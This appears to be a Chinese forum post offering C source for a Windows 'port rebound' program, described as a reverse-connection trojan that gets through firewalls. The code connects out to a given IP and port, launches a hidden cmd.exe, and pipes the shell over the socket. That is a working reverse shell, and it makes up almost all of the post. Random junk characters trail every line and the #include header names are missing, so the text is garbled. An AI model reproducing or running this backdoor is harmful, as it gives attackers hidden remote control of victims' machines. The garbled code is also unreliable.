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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 J,s)Fu\j@  
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/* ============================== 2p(M`@  
Rebound port in Windows NT '~-Lxvf'  
By wind,2006/7 !;SpQ28  
===============================*/ w"CcWng1  
#include ~3 {C &c  
#include \ B~9Ue!  
CfMq?.4%E}  
#pragma comment(lib,"wsock32.lib") &FWPb#  
mx#H+:}&r  
void OutputShell(); qAH@)}  
SOCKET sClient; \WM*2&  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #5?Q{ORN o  
Ozk^B{{o  
void main(int argc,char **argv) o6pnTu  
{ ~Od4( }/G  
WSADATA stWsaData; Sx,O)  
int nRet; K_V44f1f  
SOCKADDR_IN stSaiClient,stSaiServer; @jW_ r j:<  
i<g|+}I  
if(argc != 3) O&# bC  
{ o7feH 6Sh  
printf("Useage:\n\rRebound DestIP DestPort\n"); (}Ql#q K  
return; U*Z P>Vv  
} t)o #!)|  
&bx;GG\<4  
WSAStartup(MAKEWORD(2,2),&stWsaData); YyX/:1 sg>  
\TG!M]D:  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]E66'  
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stSaiClient.sin_family = AF_INET; , #yE#8  
stSaiClient.sin_port = htons(0); xMsos?5}  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); w5l:^^zF(  
K\&A}R  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <zN  
{ S;$@?vF  
printf("Bind Socket Failed!\n"); 9.| +KIRb  
return; uQN8/Gy*J  
} }>JFO:v&  
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stSaiServer.sin_family = AF_INET; ZdEeY|j  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a1p:~;f}[  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); TB] %?L:  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0lNVQxG  
{ &nk6_{6 c  
printf("Connect Error!"); B$k<F8!%  
return; 8T'=lTJ  
} P>=~\v nN#  
OutputShell(); j380=? 7  
} Q p7|p  
p6[a"~y  
void OutputShell() wTFM:N  
{ 'kc_OvVA  
char szBuff[1024]; )5lo^Qb  
SECURITY_ATTRIBUTES stSecurityAttributes; b=a&!r5M  
OSVERSIONINFO stOsversionInfo; uROt h_/  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; tRYMK+  
STARTUPINFO stStartupInfo; c/ wzV  
char *szShell; >Dpz0v  
PROCESS_INFORMATION stProcessInformation; A)En25,X  
unsigned long lBytesRead; > _U)=q  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4-[L^1%S[  
?7@Y=7BS4  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @EzSosmF  
stSecurityAttributes.lpSecurityDescriptor = 0; ]Ff"o7gT  
stSecurityAttributes.bInheritHandle = TRUE; (LPMEQhI:  
P}o:WI4.cB  
\)VV6'zih  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); p_Fc:%j>  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2O {@W +Mt  
@FL?,_,Y{  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %4U;Rdq&Ud  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vm)&WEL!  
stStartupInfo.wShowWindow = SW_HIDE; |XxA Fje  
stStartupInfo.hStdInput = hReadPipe; zp r`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <Mo_GTOC!  
]{V q;  
GetVersionEx(&stOsversionInfo); ~oI7TP  
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switch(stOsversionInfo.dwPlatformId) T#^   
{ >#B%gxff  
case 1: gd[jYej'RP  
szShell = "command.com"; KotJ,s]B  
break; ^~(vP:  
default: K1Nhz'^=D  
szShell = "cmd.exe"; .]%PnJM9K  
break; qIK"@i[ uq  
} cD^n}'ej  
Rd;k>e  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); R8UtX9'*sa  
oK@!yYv  
send(sClient,szMsg,77,0); S =q.Y  
while(1) 3 q  
{ [AQ6ads)  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); XF(I$Mxl6  
if(lBytesRead) 0F sz  
{ pt;E~_  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); VO>A+vx3M  
send(sClient,szBuff,lBytesRead,0); +Y,>ftN  
} A1@tp/L=o  
else fi+u!Y*3Z  
{ ZAzn-n  
lBytesRead=recv(sClient,szBuff,1024,0); "K`B'/08^  
if(lBytesRead<=0) break;  vrdlI^  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); wly#|  
} |$#u~<r_ w  
} Ol:&cX3G  
LF <fp&C)h  
return; 5+b[-Daz  
}
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